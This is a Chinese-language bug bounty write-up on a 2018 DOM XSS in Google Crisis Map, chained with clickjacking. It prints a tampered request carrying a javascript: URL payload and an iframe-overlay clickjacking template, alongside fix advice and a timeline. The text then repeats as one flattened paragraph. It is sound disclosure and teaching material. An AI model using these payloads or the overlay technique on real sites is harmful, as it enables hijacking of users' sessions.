Google Bugbounty:点击劫持之DOM型XSS
字数 1330 2025-08-26 22:11:40

Google Bug Bounty: 点击劫持结合DOM型XSS漏洞分析

漏洞概述

本文详细分析了一个在Google Crisis Map项目中发现的DOM型XSS漏洞,以及如何通过点击劫持技术扩大其影响范围。该漏洞存在于google.org域名下的危机地图服务中,通过精心构造的攻击链,可以将原本的self-XSS转化为可被广泛利用的安全威胁。

漏洞发现环境

目标系统: Google Crisis Map (google.org/crisismap/)

  • 创建于2012年的旧项目
  • 主要功能是帮助人们查找和使用紧急信息
  • 不经常更新,托管在google.org域名

漏洞发现过程

1. 访问管理界面

通过添加.maps后缀访问地图管理界面:

google.org/crisismap/.maps

2. 创建新地图

使用非gmail.com域名的Google账户登录后,可以创建新地图。标准流程包括:

  1. 点击"创建地图"按钮
  2. 添加新图层
  3. 填写图层信息并保存

3. 发现XSS注入点

在"Source URL"字段尝试注入JavaScript代码时,前端验证阻止了直接注入:

if (url && !url.toLowerCase().match("^\\s*(http://|https://|docs://|$)")) {
  showError("Invalid URL - please include a protocol (e.g. http:// or https://)");
}

4. 绕过前端验证

通过以下步骤绕过验证:

  1. 首先输入合法URL(如https://example.com)
  2. 使用Burp Suite等工具拦截保存请求
  3. 修改请求中的URL为JavaScript payload:
{
  "id": "1234",
  "title": "Untitled map",
  "base_map_type": "GOOGLE_ROADMAP",
  "layers": [{
    "id": "1",
    "title": "Test layer",
    "visibility": "DEFAULT_ON",
    "type": "KML",
    "source": {
      "kml": {
        "url": "javascript:alert(document.domain)"
      }
    }
  }]
}

5. 触发XSS

保存后,通过以下路径触发XSS:

  1. 打开"图层"选项
  2. 点击"下载KML"链接
  3. JavaScript代码执行,弹出包含域名的警告框

漏洞扩大技术

点击劫持攻击

由于google.org未设置X-Frame-Options头,攻击者可:

  1. 将已发布的地图嵌入iframe:
<iframe src="https://google.org/crisismap/example.com/test"></iframe>
  1. 使用CSS和JavaScript操纵iframe:
    • 缩放iframe至50倍
    • 精确定位点击位置
    • 自动引导用户点击关键位置

攻击演示代码

<style>
  iframe {
    position: absolute;
    width: 5000px;
    height: 5000px;
    top: -[y-coord]px;
    left: -[x-coord]px;
    opacity: 0.5;
    z-index: 9999;
  }
  .overlay {
    position: fixed;
    top: [click1-y]px;
    left: [click1-x]px;
    width: [button-width]px;
    height: [button-height]px;
    background: black;
    z-index: 10000;
  }
</style>

<div class="overlay"></div>
<iframe src="https://google.org/crisismap/attacker.com/test"></iframe>

<script>
  // 点击第一个位置后移动覆盖层到第二个点击位置
  document.querySelector('.overlay').addEventListener('click', function() {
    this.style.top = '[click2-y]px';
    this.style.left = '[click2-x]px';
  });
</script>

漏洞修复建议

  1. 后端验证:

    • 在服务器端验证所有输入URL
    • 拒绝任何不符合协议的URL
  2. 安全头设置:

    • 添加X-Frame-Options头防止点击劫持
    • 考虑使用Content-Security-Policy
  3. DOM安全处理:

    • 对动态生成的链接使用about:invalid作为无效URL的默认值
    <a href="about:invalid#zClosurez">Download KML</a>
    
  4. 输入净化:

    • 对所有用户输入进行严格的净化处理
    • 使用白名单而非黑名单验证URL协议

漏洞影响分析

原始漏洞是self-XSS,但通过以下方式扩大了影响:

  1. 地图发布功能: 使XSS可被其他用户触发
  2. 点击劫持: 无需用户离开攻击者网站即可触发漏洞
  3. 旧系统特性: 较少维护的系统往往存在更多安全隐患

时间线

  • 2018.09.12: 漏洞报告
  • 2018.10.12: 漏洞确认并分类为P1
  • 2018.11.12: 奖金发放

经验总结

  1. 全面验证: 前后端都应验证用户输入
  2. 防御深度: 实施多层防御机制
  3. 旧系统审计: 旧项目往往是漏洞的温床
  4. 漏洞组合: 寻找将低危漏洞组合成高危漏洞的方法
  5. 安全头配置: 正确配置HTTP安全头至关重要

扩展思考

  1. 如何将此漏洞与其他漏洞(如CSRF)结合使用?
  2. 在类似的老旧系统中,还有哪些可能被忽视的攻击面?
  3. 如何自动化检测此类DOM型XSS与点击劫持的组合漏洞?
Google Bug Bounty: 点击劫持结合DOM型XSS漏洞分析 漏洞概述 本文详细分析了一个在Google Crisis Map项目中发现的DOM型XSS漏洞,以及如何通过点击劫持技术扩大其影响范围。该漏洞存在于google.org域名下的危机地图服务中,通过精心构造的攻击链,可以将原本的self-XSS转化为可被广泛利用的安全威胁。 漏洞发现环境 目标系统 : Google Crisis Map (google.org/crisismap/) 创建于2012年的旧项目 主要功能是帮助人们查找和使用紧急信息 不经常更新,托管在google.org域名 漏洞发现过程 1. 访问管理界面 通过添加 .maps 后缀访问地图管理界面: 2. 创建新地图 使用非gmail.com域名的Google账户登录后,可以创建新地图。标准流程包括: 点击"创建地图"按钮 添加新图层 填写图层信息并保存 3. 发现XSS注入点 在"Source URL"字段尝试注入JavaScript代码时,前端验证阻止了直接注入: 4. 绕过前端验证 通过以下步骤绕过验证: 首先输入合法URL(如https://example.com) 使用Burp Suite等工具拦截保存请求 修改请求中的URL为JavaScript payload: 5. 触发XSS 保存后,通过以下路径触发XSS: 打开"图层"选项 点击"下载KML"链接 JavaScript代码执行,弹出包含域名的警告框 漏洞扩大技术 点击劫持攻击 由于google.org未设置X-Frame-Options头,攻击者可: 将已发布的地图嵌入iframe: 使用CSS和JavaScript操纵iframe: 缩放iframe至50倍 精确定位点击位置 自动引导用户点击关键位置 攻击演示代码 漏洞修复建议 后端验证 : 在服务器端验证所有输入URL 拒绝任何不符合协议的URL 安全头设置 : 添加X-Frame-Options头防止点击劫持 考虑使用Content-Security-Policy DOM安全处理 : 对动态生成的链接使用 about:invalid 作为无效URL的默认值 输入净化 : 对所有用户输入进行严格的净化处理 使用白名单而非黑名单验证URL协议 漏洞影响分析 原始漏洞是self-XSS,但通过以下方式扩大了影响: 地图发布功能 : 使XSS可被其他用户触发 点击劫持 : 无需用户离开攻击者网站即可触发漏洞 旧系统特性 : 较少维护的系统往往存在更多安全隐患 时间线 2018.09.12: 漏洞报告 2018.10.12: 漏洞确认并分类为P1 2018.11.12: 奖金发放 经验总结 全面验证 : 前后端都应验证用户输入 防御深度 : 实施多层防御机制 旧系统审计 : 旧项目往往是漏洞的温床 漏洞组合 : 寻找将低危漏洞组合成高危漏洞的方法 安全头配置 : 正确配置HTTP安全头至关重要 扩展思考 如何将此漏洞与其他漏洞(如CSRF)结合使用? 在类似的老旧系统中,还有哪些可能被忽视的攻击面? 如何自动化检测此类DOM型XSS与点击劫持的组合漏洞?